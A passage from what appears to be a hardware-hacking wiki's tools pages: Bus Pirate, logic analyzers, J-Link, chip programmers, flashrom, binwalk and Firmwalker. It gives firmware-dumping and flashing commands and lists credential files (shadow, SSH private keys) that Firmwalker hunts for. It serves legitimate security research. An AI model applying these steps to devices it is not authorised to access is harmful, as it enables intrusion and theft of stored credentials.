connection, you may be able to access the device’s debug information or even drop into a root shell if it’s unsecured. A basic USB-to-UART adapter will allow you to connect the target device to your computer and start investigating. ## Optional Tools, but usefull Once you achieved your first firmware dump using UART and got hooked to hardware hacking, you may ask: what to get next? **1.** [**Bus Pirate**](https://www.hardbreak.wiki/hardware-hacking/basics/tools/hardware-tools/open-source-tools/bus-pirate) The Bus Pirate is a versatile, open-source tool that can communicate with a wide range of protocols beyond UART. It’s especially useful for hardware hackers working with devices that use protocols like SPI (Serial Peripheral Interface), IÂČC (Inter-Integrated Circuit), and JTAG. Your chosen target device may not have an UART port, so you might have to look into alternative ways on how to dump its firmware. Although it’s optional, the Bus Pirate is a valuable addition to a hardware hacking toolkit if you plan to explore multiple protocols. 2. [Logic Analyzer](/hardware-hacking/basics/tools/hardware-tools/logic-analyzer) PCBs often feature pads or communication lines that are difficult to identify. A logic analyzer is a useful tool for identifying unknown interfaces and analyzing communication. Budget-friendly models are available for as little as $10-$15 and can handle basic analysis. For more advanced work, high-performance logic analyzers like the[ Saleae ](/hardware-hacking/basics/tools/hardware-tools/logic-analyzer/saleae-logic-analyzer)are pricier but offer powerful features that can decode a wide range of protocols. # Soldering Tools If you want to connect jumper cables to a PCB connector or want to take of or on a memory chip, soldering is needed. In this chapter I want to introduce something you may need for that. The technique involves melting a metal alloy (solder) to join two metal surfaces, creating an electrical connection. While simple in concept, precision and proper tools are necessary to ensure clean, functional joints without damaging sensitive components. Good tutorial for beginners: [How To Solder: A Beginner’s Guide](https://www.makerspaces.com/how-to-solder/) General advice: * Heat both the component lead and the pad on the PCB at the same time. * Once heated, introduce the solder, letting it flow smoothly into the joint. * Remove the soldering iron, allowing the joint to cool naturally without movement to ensure a solid connection. ## Basic Tools ### Workbench * Set up a stable, well-lit workspace with good ventilation to avoid inhaling harmful fumes. * Use an ESD (electrostatic discharge) mat to protect sensitive components from static electricity. * Secure your workpiece with a helping hand or vice, freeing both hands for precise soldering or desoldering tasks. #### Soldering Station * Choose a temperature-controlled soldering iron. We need consistent heat for making clean connections and preventing component damage. * Set the soldering iron to a suitable temperature (usually between 350°C and 400°C, depending on the solder type). #### Solder Wire and Flux * Use rosin-core solder wire, either leaded (easier to work with but less environmentally friendly) or lead-free. * Apply flux to the areas you plan to solder, as it improves adhesion and prevents oxidation during the soldering process. #### Hot Air Station * When dealing with surface-mounted components or when you need to remove entire chips from a PCB, a hot air station is the ideal tool. * Set the temperature on the hot air station between 250°C and 350°C, depending on the type of solder and components you're working with. * Focus the hot air nozzle evenly over the chip or component you wish to remove, ensuring the heat is distributed across all pins and pads. * As the solder softens, gently lift the chip with tweezers or a chip lifter tool, being careful not to damage nearby components. #### Desoldering Tools * For component removal, desoldering braid or a solder sucker can help clean up any excess solder from joints. ## Resources \*[How To Solder: A Beginner’s Guide](https://www.makerspaces.com/how-to-solder/) # Logic Analyzer ## Theory A logic analyzer is a crucial debugging tool used for capturing and analyzing digital signals in electronic devices. It allows engineers, hackers, and pentesters to examine the state of digital circuits by providing a visual representation of signals over time. Key concepts in the operation of a logic analyzer include: * Data Acquisition\ Logic analyzers sample digital signals at high speeds, capturing data from multiple channels simultaneously. This allows users to observe the timing and behavior of different signals in real time. * Sampling Rate\ The sampling rate is a critical specification of a logic analyzer, determining how accurately it can capture fast digital signals. A higher sampling rate provides more precise data, essential for troubleshooting high-speed circuits. * Channel Count\ Logic analyzers can monitor multiple signals at once, typically ranging from 8 to 64 channels. More channels allow for broader monitoring of complex systems. * Storage and Analysis\ After capturing data, the logic analyzer stores it in memory. The data is then analyzed using specialized software, which provides visualization tools like waveforms, timing diagrams, and protocol decoding to help users interpret the captured signals. ## Usage Logic analyzers are indispensable for a variety of tasks in digital circuit debugging and signal analysis: * Signal Analysis\ They allow users to observe and troubleshoot the behavior of digital signals in microcontrollers, processors, and various digital circuits. * Protocol Decoding\ Many logic analyzers can decode communication protocols (such as SPI, I2C, UART), presenting the data in a more understandable format. This makes it easier to identify communication issues or protocol errors. * Triggering Events\ Logic analyzers can be set to trigger data capture when specific conditions are met. This feature is useful for isolating and capturing intermittent issues or rare events that occur in the digital circuit. ## Models * Entry-Level * AZDelivery Logic Analyzer ($10) * very cheap one from Aliexpress for example, can be difficult to setup (driver problems etc.) * Max sampling rate: 24MHz * Mid-Range * innomaker LA1010 USB Logic Analyzer ($75) * pulseview compatible and also use the Kingst proprietary software * Max sampling rate: 100MHz * High-End * Saleae Logic ($500-$1500) * Frequently used by myself, very reliable, analog capture capability, highly user-friendly software * Max sampling rate: 500MHz # Saleae Logic Analyzer ## Theory Saleae Logic is a popular line of logic analyzers known for their ease of use, versatility, and powerful software capabilities. They are designed for both hobbyists and professionals looking to debug and analyze digital signals and protocols in electronic circuits. #### Requirements * Computer with USB Port * Target Device #### Software * The device is accompanied by proprietary software that is available for free. It provides a user-friendly interface for capturing, visualizing, and analyzing data. * Features: * Waveform visualization. * Protocol decoding for various standards like SPI, I2C, UART, and more. * Ability to save and load projects. * Data export in various formats (CSV, etc.). ## Usage 1. Setup: * Connect the Saleae Logic analyzer to your computer via USB. * Connect the probes to the target device's test points to capture the digital signals. 2. Launch Software: * Open the Saleae Logic software on your computer. 3. Configure Channels: * Select the channels you want to monitor and set their voltage levels. * Choose the sampling rate based on the speed of the signals you're analyzing. * higher sampling rate => more data points, but also more memory usage
4. Capture Data: * Click the capture button to start collecting data. * Use the triggering options to capture specific events or signals of interest.
5. Analyze Data: * Use the software to visualize the waveform data. * Utilize the decoding feature to interpret the protocol data, making it easier to analyze complex communication
6. For any analyzer we can specify settings (here for the Async Serial Analyzer);

Async Serial Analyzer settings

7. Once we save the settings Saleae will automatically analyzer our captured data. 8. Example output:

Analyzer in graph

9. We can also look at the decoded in the terminal view

Analyzer in terminal

10. If you don't find the correct analyzer for your protocol you may use extensions to load your custom analyzers: 1. ```

Saleae extensions

``` ## Resources * [Salae Logic Analyzer - Getting Started](https://support.saleae.com/getting-started/setup) # Open-Source Tools Open-source hardware tools, like the Bus Pirate and similar devices, are designed for probing, testing, and interacting with hardware systems at a low cost. These tools allow users to interface with various communication protocols, such as UART, SPI, or I2C. Open-source hardware tools are typically much cheaper than commercial devices. This affordability makes them accessible to a wider range of users, from beginners to professional security testers, without sacrificing functionality. # Bus Pirate v3.6 ## Theory The Bus Pirate is an open-source hardware tool designed for interfacing with and debugging various communication protocols, including SPI, I2C, UART, JTAG and more. It acts as a universal bus interface, allowing developers and hardware pentesters to communicate with and analyze electronic devices. Its versatility and ease of use make it a popular choice for hobbyists, engineers, and security researchers.

Bus Pirate

Here is the pinout for the different modes: | **Mode** | **MOSI** | **CLK** | **MISO** | CS | | ---------- | -------- | ------- | -------- | --- | | **1-Wire** | DATA | | | | | **UART** | TX | | RX | | | **I2C** | SDA | SCL | | | | **SPI** | MOSI | CLOCK | MISO | CS | | **JTAG** | TDI | TCK | TDO | TMS | **Key Features** * Multi-Protocol Support: * Supports a wide range of protocols, including SPI, I2C, UART, 1-Wire, and more. * Command-Line: * Operates via a simple command-line interface, allowing for easy interaction and experimentation. * Open-Source: * The hardware and firmware are open-source, enabling customization and community contributions. * Compact Size: * Portable and easy to integrate into various projects. ## Cheat Sheet ```bash # Read the flash chip using Bus Pirate with flashrom flashrom -p buspirate_spi:dev=/dev/device,spispeed=frequency -r out.file # Example command with specific device and speed flashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -r firmware.bin # Connect to bus pirate directly minicom -b 115200 -8 -D /dev/ttyUSB0 # Set the Bus Pirate to SPI mode HiZ> m 5 # Choose SPI mode # Set SPI speed (e.g., 1 MHz) b 1000 # Read data from the flash chip r # Exit Bus Pirate session q ``` ## Usage #### Example Setup Flashrom and Bus Pirate Here we just need to run one command and [flashrom](https://www.flashrom.org/supported_hw/supported_prog/buspirate.html) will try to detect the flash chip. With -r we can read out the flash. ```bash flashrom -p buspirate_spi:dev=/dev/device,spispeed=frequency -r out.file #Example flashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -r firmware.bin ``` #### Example Setup of native Bus Pirate To dump a flash chip using the Bus Pirate, you'll typically interface it with the SPI protocol. Here’s a step-by-step guide to doing this: 1. Connect the Bus Pirate: * Connect the Bus Pirate to your computer via USB. * Connect the Bus Pirate to the target flash chip using the appropriate wiring (MOSI, MISO, SCK, CS, etc.). Ensure that the connections match the pinout of the flash chip. 2. Install the Bus Pirate Firmware (if not already installed): * Ensure you have the latest firmware on your Bus Pirate. You can check this on the [Bus Pirate website](https://buspirate.com/). 3. Open a Terminal: * Open a terminal emulator (like PuTTY, Tera Term, or a terminal on Linux) to communicate with the Bus Pirate. 4. Enter Bus Pirate Mode: * Type the following command to enter the Bus Pirate interactive mode: ```plaintext /dev/ttyUSB0 (or the appropriate port) ``` 5. Set the Bus Pirate to SPI Mode: * Use the following command to set the Bus Pirate to SPI mode: ```plaintext HiZ> m 1. HiZ 2. 1-WIRE 3. UART 4. I2C 5. SPI 6. 2WIRE 7. 3WIRE 8. KEYB 9. LCD x. exit(without change) ``` * Choose (5) SPI mode by typing the corresponding number. 6. Set the Speed: * Set the SPI speed (for example, 1 MHz): ```plaintext b 1000 (for 1 MHz) ``` 7. Connect to the Flash Chip: * Select the chip by pulling the CS (Chip Select) pin low and sending the read command to the flash chip. The command will depend on the specific flash chip you are using (refer to the datasheet for the correct command). * For example, to read the contents, you might need to send the read command followed by the address you want to read from. 8. Read Data from the Flash Chip: * After sending the appropriate command and address, use the command to read back the data. You might enter something like: ```plaintext r (to read data) ``` 9. Save the Data: * Use a command to save the read data to a file. You may need to copy the output from the terminal manually or check if there's a direct command (this can vary depending on the Bus Pirate firmware). 10. Exit: * To exit the Bus Pirate session, type: ```plaintext q ``` ## **Resources** \*[Bus Pirate](https://www.flashrom.org/supported_hw/supported_prog/buspirate.html) \*[Bus Pirate menu options guide](http://dangerousprototypes.com/docs/Bus_Pirate_menu_options_guide) \*[Bus Pirate I/O Pin Descriptions](http://dangerousprototypes.com/docs/Bus_Pirate_I/O_Pin_Descriptions) # Bus Pirate 5 ## Theory The Bus Pirate 5 is an updated version of the original[ Bus Pirate](/hardware-hacking/basics/tools/hardware-tools/open-source-tools/bus-pirate), which was discontinued. The new version was released in January 2024 and is major leap forward, with much faster speeds, more supported protocols, higher power handling, and better firmware support. If you need a more modern, high-performance tool, Bus Pirate 5 is the better choice. However, Bus Pirate v3.6 is still usable for basic hacking and lower-speed applications. ### Features * Based on Raspberry Pi Foundation RP2040 with 128Mbit flash storage * 1.65-5volt operating range, 3 states with voltage measuring on every pin * Programmable 1-5.0volt output / 0-500mA current limit * 1Gbit NAND flash storage * 320 x 240 pixel LCD display * Live voltage measurements * Visable pinout on display for every mode * basic logic analyzer integrated (upto 62.5MSPS) * 1-Wire, I2C, SPI, UART, MIDI, serial LEDs supported ## Setup {% tabs %} {% tab title="Linux" %} ```bash sudo minicom -D /dev/ttyUSB0 -b 115200 sudo picocom -b 115200 -r -l /dev/ttyUSB0 ``` Plug in your Bus Pirate and change */dev/ttyUSB0* accordingly. (You can use `dmesg` to verify the port of the Bus Pirate) {% endtab %} {% tab title="Windows" %} You can use[ Tera Term](https://en.wikipedia.org/wiki/Tera_Term) to open a Terminal Window and connect to the Bus Pirate (baudrate=115200). {% endtab %} {% endtabs %} ### TODO ## Resources [Buspirate - Hompage](https://buspirate.com/) # GoodFET TODO # Multimeters & Oscilloscopes Multimeters and oscilloscopes are enabling the measurement and analysis of electrical signals and parameters in circuits. ## Multimeters Usage * Voltage Measurement: * Measure AC and DC voltage levels in circuits. * Current Measurement: * Measure current flowing through a circuit (both AC and DC). * Resistance Measurement: * Determine the resistance of components and circuits. * Continuity Testing: * Check if there is a complete path for current flow, often with an audible beep. * Diode Testing: * Test the functionality of diodes. Theory * Basic Functionality: * Multimeters operate based on the principle of Ohm's Law, using a combination of resistors and transistors to measure voltage, current, and resistance. * Modes: * Most multimeters have different modes for measuring voltage, current, resistance, and continuity. Models: * Entry-Level * ANENG A830L(<$10) : very cheap one from Aliexpress for example, can break though * Mid-Range * crenova ms8223d ($25): Frequently used by myself, very reliable * High-End * Fluke 115 (>$200): very precise, but not really needed if you are not a professional ## Oscilloscopes Usage * Waveform Visualization: * Display and analyze the waveform of electrical signals over time. * Signal Analysis: * Measure parameters like frequency, amplitude, rise time, and signal integrity. * Debugging * Identify issues in electronic designs, such as timing problems or noise in signals. * Protocol Analysis * Analyze digital signals and communication protocols. Theory * Basic Functionality * Oscilloscopes measure voltage over time and display the results on a screen, usually as a graph. They work by sampling the input signal at high speeds and reconstructing the waveform. * Components * Key components include the vertical amplifier (for voltage), horizontal time base (for time), and triggering system (to stabilize the waveform display). Models * Entry-Level * PeakTech 1401($200) : Entry level, good reviews * Mid-Range * Rigol MSO5000 Serie ($1000): Used by myself, very reliable * High-End * SDS2000X ($3000): High bandwidth, 2GSa/s sampling rate, large memory depth, but not really needed if you are not a professional ## Resources * [Sourcing a hardware hacking toolkit](https://cybergibbons.com/hardware-hacking/sourcing-a-hardware-hacking-toolkit/) # JTAG and SWD Debuggers JTAG (Joint Test Action Group) and SWD (Serial Wire Debug) are standard debugging interfaces used in embedded systems development. They allow engineers and pentesters to interact with microcontrollers and other programmable devices for testing, programming, and debugging purposes. ## JTAG Debuggers Usage * For debugging, it provides access to the internal state of a microcontroller, allowing breakpoints, single-stepping through code, and examining memory. * It facilitates programming by enabling firmware to be flashed onto devices. * In boundary scan, it is used to test interconnections on printed circuit boards (PCBs). Theory * JTAG operates with a 4 or 5-pin interface (TCK, TDI, TDO, TMS, and optional TRST) that controls the state and transfers data, allowing communication with the device without the need to probe individual pins. * Multiple devices can be connected in a chain, allowing access to several components on a board simultaneously. Models 1. Entry-Level * Bus Pirate($40): A basic USB interface for JTAG programming, often used in hobby projects. 2. Mid-Range * Segger J-Link($400): A widely used JTAG adapter compatible with various microcontroller architectures and development environments, often used by me 3. High-End * Lauterbach TRACE32 ($800) : A high-performance JTAG and SWD debugger, offering advanced debugging features. ## SWD Debuggers Usage * For debugging, SWD offers access to a microcontroller's internal features, similar to JTAG. * It is used for programming by flashing firmware onto microcontrollers that support SWD. * With a low pin count, it requires fewer pins than JTAG, making it ideal for smaller devices. Theory * SWD operates through a 2-pin interface (SWDIO, SWCLK), with optional reset and power lines. This streamlined design reduces the number of pins needed on the microcontroller. * It enables bi-directional communication between the debugger and the target device, making it efficient for debugging. Models 1. Entry-Level * ST-LINK/V2 ($30): A low-cost SWD programmer/debugger for STM32 microcontrollers, widely used in embedded systems. 2. Mid-Range * Segger J-Link ($400): Supports both JTAG and SWD, providing a good balance of features for embedded development. 3. High-End * Arm Keil ULINKpro ($800): A professional debugging interface with advanced features, ideal for complex embedded systems. # Segger JLink J-Link is a series of powerful JTAG and SWD debug probes developed by Segger. They are widely used for debugging and programming ARM microcontrollers and other embedded systems. The J-Link debuggers are known for their speed, reliability, and compatibility with a wide range of development tools and environments, making them a preferred choice among embedded developers and hardware pentesters. ## Features * Multi-Interface Support * J-Link supports both JTAG and SWD protocols, allowing it to work with various microcontroller architectures. * High-Speed Performance * It offers fast data transfer rates, enabling quicker debugging sessions and programming. * Cross-Platform Compatibility * Works seamlessly with popular IDEs like Keil, IAR Embedded Workbench, and Eclipse. * Extensive Support * Provides a comprehensive software package, including J-Link software and documentation, making it easier to get started. ## Cheat Sheet ```bash # Connect to J-Link device JLinkExe.exe # Connect to a target device (select device from pop up window) connect # Halt the target CPU halt # Reset the target CPU r # or 'reset' # Reset and halt the CPU reset halt # Read memory at a specified address mem32
# Reads 32-bit words from memory #Read complete flash and save it savebin # Write memory to a specified address w1
# Write 1 byte w2
# Write 2 bytes w4
# Write 4 bytes # Load a binary file into the target device memory loadbin
# Dump memory to a binary file savebin
savebin flash_dump.bin 0x08000000 0x00040000 #example # Set a breakpoint setbp
# Clear a breakpoint clrbp
# Step through instructions step # Continue execution go # Exit J-Link Commander q # or 'exit' ``` #### Example Commands to Dump a Flash Chip Using J-Link To dump a flash chip using J-Link, you can use the J-Link Command Line Interface (CLI) or the J-Link GDB Server. Below is an example using the J-Link CLI, which is part of the J-Link software package: 1. Open the Command Prompt (or Terminal on macOS/Linux). 2. Navigate to the J-Link installation directory where the CLI tool is located, usually found under `C:\Program Files (x86)\SEGGER\JLink` on Windows. 3. Connect the J-Link Debugger to your target device and power it on. 4. Run the J-Link Command Line Tool: ```bash JLink.exe ```
5. Connect to the Target Device: In the J-Link Command Line interface, use the following command: ```bash connect ``` * Select the Device: Choose the specific device you are targeting (e.g., `STM32F4xx`). * Select Interface: Choose either `SWD` or `JTAG` based on your connection type. * Specify the Speed: Set the desired speed (default is usually fine).

Successful cJTAG connection

6. Dump the Flash Memory: ```bash savebin ``` * ``: The name of the output file where the flash dump will be saved. * ``: The starting address of the flash memory you want to dump (e.g., `0x08000000` for STM32). * ``: The number of bytes to dump (e.g., `0x00040000` for 256KB). Example: ```bash savebin flash_dump.bin 0x08000000 0x00040000 ``` 7. Exit the J-Link Command Line Tool ```bash exit ``` #### Resources * [J-Link Commander](https://kb.segger.com/J-Link_Commander) # TI CC-Debugger TODO # UART-to-TTL adapter ## **Theory** A UART-to-TTL adapter is used to interface with UART communication ports, commonly found in embedded systems, by converting TTL (3.3V or 5V) signals to USB for interaction with a computer. The UART protocol uses three key pins: **TX** (Transmit), **RX** (Receive), and **GND** (Ground). The TX pin sends data from the device, RX receives data, and GND ensures a common reference for signal integrity. Correctly matching voltage levels (3.3V or 5V) between the adapter and the target device is crucial to prevent damage during communication. ## Usage * Open your serial terminal software and configure the following settings: * **Baud Rate**: Most popular values are 9600 and 115200, or as specified in the device’s documentation (picocom also has a feature to adjust the baud rate on the fly (check docs)). * more common baud rates: 4800, 19200, 38400, 57600, 230400, 460800, 921600 * There are more settings you have to figure out, but the most common ones are these: * **Data Bits**: 8 * **Parity**: None * **Stop Bits**: 1 * **Flow Control**: None {% tabs %} {% tab title="Linux" %} ```bash sudo minicom -D /dev/ttyUSB0 -b 115200 sudo picocom -b 115200 -r -l /dev/ttyUSB0 ``` {% endtab %} {% tab title="Windows" %} **Using PuTTY (Windows)**: * Select “Serial” and enter the COM port (e.g., COM3) and baud rate (115200). {% endtab %} {% endtabs %} UART-TTL adapter are usually pretty cheap ($10) and compact like this model:

FT232-AZ USB to TTL serial adapter

Hint: If you console looks like this, you probably have the wrong baud rate set:

False baud rate set

## Resources * [RS232 vs TTL: Beginner Guide to Serial Communication](https://www.seeedstudio.com/blog/2019/12/11/rs232-vs-ttl-beginner-guide-to-serial-communication/) # Chip readers and programmers Chip readers and programmers allow users to read, write, and manipulate the data stored in various types of integrated circuits (ICs), such as microcontrollers, EEPROMs, flash memory, and more. These tools are crucial for tasks like firmware extraction, reverse engineering, and device recovery. ## **Usage** * Firmware Extraction * Reading the firmware from a microcontroller or flash chip to analyze its functionality or vulnerabilities. * Programming * Writing new firmware or configuration data to a chip. * Device Recovery * Restoring corrupted or erased firmware to a functional state. * Testing and Validation * Verifying the integrity of data in chips and ensuring proper functionality. ## **Theory** * Reading * Chip readers utilize specific protocols (such as SPI, I2C, or JTAG) to communicate with the target IC, extracting data stored in memory. * Programming * Programmers send instructions to the chip to write new data, which may involve erasing existing content before programming. * Types of Memory * Different types of memory chips (e.g., EEPROM, flash, PROM) have varying protocols and methods for reading/writing. Models: * Entry-Level * CH341A USB Programmer(<$15) : very cheap one, flashrom compatible, * Mid-Range * XGecu T56 ($200) or T48 ($80): Frequently used by myself, very reliable, supports a lot of devices, NAND, SPI, eMMC etc. * High-End * Xeltek Superpro (>$550): very precise, but not really needed if you are not a professional # Xgecu T56 The Xgecu T56 is a universal programmer that supports a wide range of memory chips, including EEPROM, flash memory, and microcontrollers. It is designed for both hobbyists and professionals, offering a compact design, user-friendly interface, and extensive compatibility with various chip types. The T56 is known for its high-speed programming capabilities and can be used for tasks such as reading, writing, and erasing memory chips, making it a valuable tool for hardware pentesters and developers. ## Key Features * Wide Compatibility * Supports thousands of memory devices from various manufacturers, including NAND, NOR, and EEPROM chips by using adapters of different sizes * User-Friendly Software * Comes with easy-to-use software that allows for quick setup and operation. * High-Speed Programming * Capable of fast read and write operations, improving workflow efficiency. * Portable Design * Compact size makes it easy to carry and integrate into various environments. It makes a lot of sense to also buy various adapters (which often come in sets), so we can support different kind of chip sizes.

TSOP32/40/48/56 Adapter in use

## Example Commands to Dump a Flash Chip Using Xgecu T56 To dump a flash chip using the Xgecu T56 programmer, you typically use the provided software that comes with the device. Here's a step-by-step guide to dumping flash memory: 1. Install the Software: * Download and install the Xgecu software from the official website or provided installation media. 2. Connect the Xgecu T56: * Connect the Xgecu T56 to your PC via USB. * Insert the flash chip into the appropriate socket on the programmer. Ensure the chip is oriented correctly according to the pinout. 3. Launch the Xgecu Software: * Open the installed Xgecu software on your computer. In the software, select the type of chip you are using from the list of supported devices. If the chip is not listed, you may need to check compatibility or update the software database. * ```
``` 4. Configure Settings: * Set the programming parameters if necessary (e.g., voltage levels, timing settings). Most settings can usually be left at default for standard operations. 5. Read and Save the Flash Memory: * Click on the Read button or option in the software interface to start reading the flash chip. The software will typically show a progress indicator. * The data will be read from the chip and displayed in the software. You can save the data using the Save button.
6. Read Data is shown in the hex dump
7. Verify the Data: * Optionally, you can verify the data by reading it back from the saved file and comparing it with the original content. 8. Disconnect and Exit: * Once the dump is complete, safely disconnect the flash chip from the programmer and exit the software. ## Resources * # Software Tools # Binwalk Binwalk is a powerful tool designed for analyzing, extracting, and reverse-engineering firmware images. It is frequently used by pentesters and security researchers for identifying embedded files and data in firmware, especially in IoT and hardware hacking. ## Key Features * Signature Scanning * Binwalk scans firmware images for known file signatures such as compressed files, file systems, and cryptographic keys. * File Extraction * Automatically extracts embedded files and file systems from firmware images. * Entropy Analysis * Helps detect encrypted or compressed data by analyzing the randomness within a binary. * Custom Signatures * Users can define their own file signatures, expanding Binwalk's capabilities to detect specific patterns. ## Cheat Sheet ```bash # Scan a firmware image for known file signatures binwalk firmware.bin # Automatically extract embedded files from a firmware image binwalk -e firmware.bin # Analyze entropy to detect encrypted or compressed sections binwalk -E firmware.bin # Recursively extract files from deeply embedded archives binwalk -Me firmware.bin ``` ## Installation Binwalk can be easily installed on most Linux distributions using the following command: ```bash sudo apt-get install binwalk ``` For other systems, or to build it from source, follow the instructions on the [official Binwalk GitHub repository](https://github.com/ReFirmLabs/binwalk). ## Usage Here’s a quick breakdown of the most common commands: 1. Basic Scan: To identify and list all known signatures in a firmware image: ```php-template binwalk firmware.bin ``` 2. Extract Embedded Files: Automatically extract files found during the scan: ```php-template binwalk -e firmware.bin ``` 3. Entropy Analysis: Useful for detecting compressed or encrypted sections within the firmware: ```mathematica binwalk -E firmware.bin ``` 4. Recursive Extraction: Extracts files recursively to dig deeper into embedded archives: ```php-template binwalk -Me firmware.bin ``` ## Common Use Cases * Firmware Reverse Engineering * Binwalk helps break down firmware to find vulnerabilities, such as hardcoded credentials or encryption keys. * File System Extraction * Extract embedded file systems like JFFS2, SquashFS, etc. from IoT devices. * Cryptanalysis * Identify and locate encrypted sections of firmware for further investigation. ## Resources * [Binwalk Wiki](https://github.com/ReFirmLabs/binwalk/wiki) # Firmwalker ## Theory Firmwalker is an automated tool designed to aid in the analysis of extracted Linux-based firmware file systems. It quickly identifies critical information such as password files, SSH keys, and configuration files, making it a useful tool for pentesters and security researchers focusing on embedded devices and IoT security. #### Key Features * Automated Scanning * Firmwalker parses through the entire extracted file system, looking for key files related to security, such as credentials, configuration files, and certificates. * Focused Output * It categorizes findings such as passwords, SSH keys, web server information, and more, making it easy to focus on potential vulnerabilities. * File System Search * Specifically designed for Linux-based firmware. * Text File Parsing * Extracts useful information from plaintext configuration files and scripts. ## Cheat Sheet ```bash # Clone the Firmwalker repository git clone https://github.com/craigz28/firmwalker # Navigate to the Firmwalker directory cd firmwalker # Run Firmwalker on an extracted firmware file system ./firmwalker /path/to/extracted/filesystem ``` ## Installation To use Firmwalker, you’ll need to clone the repository and run the script on a pre-extracted file system from a firmware image. Here’s how to get started: 1. Clone the repository: ```bash git clone https://github.com/craigz28/firmwalker ``` 2. Navigate to the `firmwalker` directory: ```bash cd firmwalker ``` 3. Ensure you have **bash** installed, as Firmwalker is a bash script. ## Usage To run Firmwalker, the firmware image must first be extracted (you can use a tool like Binwalk for this). Once extracted, you can point Firmwalker to the root of the file system: ```bash ./firmwalker ``` Firmwalker will then parse the file system and output a categorized report of its findings. #### What Firmwalker Looks For Firmwalker automatically searches for the following types of files and data in the extracted file system: * Password Files: Looks for files such as `passwd`, `shadow`, and `login.defs`. * SSH Keys: Searches for private keys (`id_rsa`), known hosts, and other SSH configuration files. * Configuration Files: Identifies configuration files that may contain sensitive data, such as `config`, `.conf`, and `.ini` files. * Web Server Info: Looks for web server files such as `nginx` or `httpd` configuration files, and web root directories. * SSL Certificates: Finds SSL certificates and related private keys. * Scripts: Parses through shell scripts or other automation scripts that might reveal hardcoded credentials or system configurations. * Miscellaneous: Searches for any `.sql` files (databases), `crontab` files (schedules), and more. ## Example Command Once the firmware has been extracted, run the following command to analyze the file system: ```bash ./firmwalker /path/to/extracted/filesystem ``` The output will be a structured list of findings, highlighting the critical files and directories of interest. #### Example Output Firmwalker provides a categorized output similar to: ```javascript --- Password Files --- /etc/passwd /etc/shadow --- SSH Keys --- /root/.ssh/id_rsa --- Configuration Files --- /etc/nginx/nginx.conf ``` #### Additional Notes * Firmwalker works on an extracted file system, meaning you’ll need to extract the firmware first before running the tool. * The findings give a quick overview of critical files to investigate further, making it ideal for initial reconnaissance of firmware images. ## Resources * [Firewalker Git repository](https://github.com/craigz28/firmwalker) # flashrom ## Theory Flashrom is an open-source tool used for reading, writing, verifying, and erasing flash memory chips. It supports a wide range of chipsets and is primarily used for flashing BIOS, firmware, and embedded systems. Flashrom is essential for penetration testers and hardware hackers, as it enables low-level access to the firmware of devices, allowing for potential vulnerabilities to be identified and exploited. #### Key Features * Cross-Platform * Available on Linux, Windows, and macOS. * Wide Chip Support * Compatible with various flash chips and devices. * Read/Write Operations * Allows for easy backup and flashing of firmware. * Verification * Ensures that the flashing process was successful by comparing the written data with the source. * Live Flashing * Can be used to flash a system while it is running. ## Cheat Sheet ```bash # Install Flashrom on Linux sudo apt-get update sudo apt-get install flashrom # Install Flashrom on macOS (using Homebrew) brew install flashrom # Detect the flash chip on your device sudo flashrom -p # Example with Bus Pirate flashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M # Read flash memory and save it to a file sudo flashrom -p -r backup.bin # Write a new firmware image to the flash chip sudo flashrom -p -w firmware.bin ``` ### Installation To install Flashrom on different platforms, you can follow these commands: {% tabs %} {% tab title="Linux" %} ```bash sudo apt-get update sudo apt-get install flashrom ``` {% endtab %} {% tab title="OSX" %} Here are the instructions for macOS using Homebrew ```bash brew install flashrom ``` {% endtab %} {% tab title="Windows" %} **Installation Steps** 1. **Download Flashrom**: * Visit the [Flashrom Releases page on GitHub](https://github.com/flashrom/flashrom/releases) and download the latest `.zip` file for Windows. 2. **Extract the Zip File**: * After downloading, extract the contents of the `.zip` file to a directory of your choice. 3. **Set Up Environment**: * Open Command Prompt and navigate to the directory where you extracted Flashrom. * You may need to add the directory to your system's `PATH` environment variable for easier access. **Example Commands** If you want to use it directly without adding it to your PATH, you can navigate to the directory where Flashrom is located. For example, if you extracted it to `C:\flashrom`, you would use: ```bash cd C:\flashrom ``` Then run Flashrom with the following command: ```bash flashrom -p internal ``` {% endtab %} {% endtabs %} ## Usage #### Detecting the Chip To detect the flash chip on a device, use: ```bash sudo flashrom -p ``` Replace `` with the appropriate programmer (e.g., `linux_spi`, `internal`, etc.). Example Bus Pirate: ```bash flashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M ``` #### Reading the Flash To read the flash memory and save it to a file: ```bash sudo flashrom -p -r backup.bin ``` #### Writing to the Flash To write a new firmware image to the flash: ```bash sudo flashrom -p -w firmware.bin ``` ## Expected Output When the command executes successfully, you might see output similar to the following: ```vbnet Flashrom v1.2.3-r1234 on Linux 5.4.0-74-generic (x86_64), built with libpci 3.6.4, gcc 9.3.0, little endian Calibrating delay loop... OK. Detected chipset: Intel H61 Found chip "W25Q64.V" (8192 KB, SPI) at physical address 0x00000000. Reading flash... done. Size: 8192 KB Saved to backup.bin ``` ### Important Notes * Always ensure you have a valid backup of the current firmware before attempting to flash a new image. * Incorrectly flashing firmware can lead to bricking the device, making it inoperable. * Consult the Flashrom documentation for more detailed information and supported hardware. ## Resources * [Flashrom website](https://www.flashrom.org/) * [Flashrom Git repository](https://github.com/flashrom/flashrom) # Ghidra ## Theory Ghidra is a powerful, open-source software reverse engineering (SRE) framework developed by the National Security Agency (NSA). It is designed to analyze and decompile executable files, making it an invaluable tool for pentesters, malware analysts, and security researchers. #### Key Features * Multi-Platform Support * Ghidra runs on various operating systems, including Windows, macOS, and Linux, providing versatility for different environments. * Decompiler * Converts binary code into a more readable high-level representation, facilitating analysis. * User-Friendly Interface * Offers a modern graphical user interface (GUI) for intuitive navigation and interaction with code. * Scripting Support * Allows users to automate tasks and customize the analysis process using Python or Java. * Extensive Language Support * Supports a wide range of architectures and binary formats, including x86, ARM, MIPS, and more. * Collaboration Features * Supports team environments, allowing multiple users to work on the same project simultaneously. ## Installation To install Ghidra, follow these steps: 1. Download the latest release from the [Ghidra GitHub repository](https://github.com/NationalSecurityAgency/ghidra/releases). 2. Extract the downloaded archive to your desired location. 3. Ensure you have Java Development Kit (JDK) version 11 or later installed. 4. Navigate to the Ghidra directory and run the `ghidraRun` script: ```bash ./ghidraRun ``` ## Usage 1. Creating a New Project 1. Launch Ghidra and create a new project to start analyzing binaries. 2. Importing a Binary 1. Drag and drop or use the file menu to import the binary you wish to analyze. 3. Code Analysis 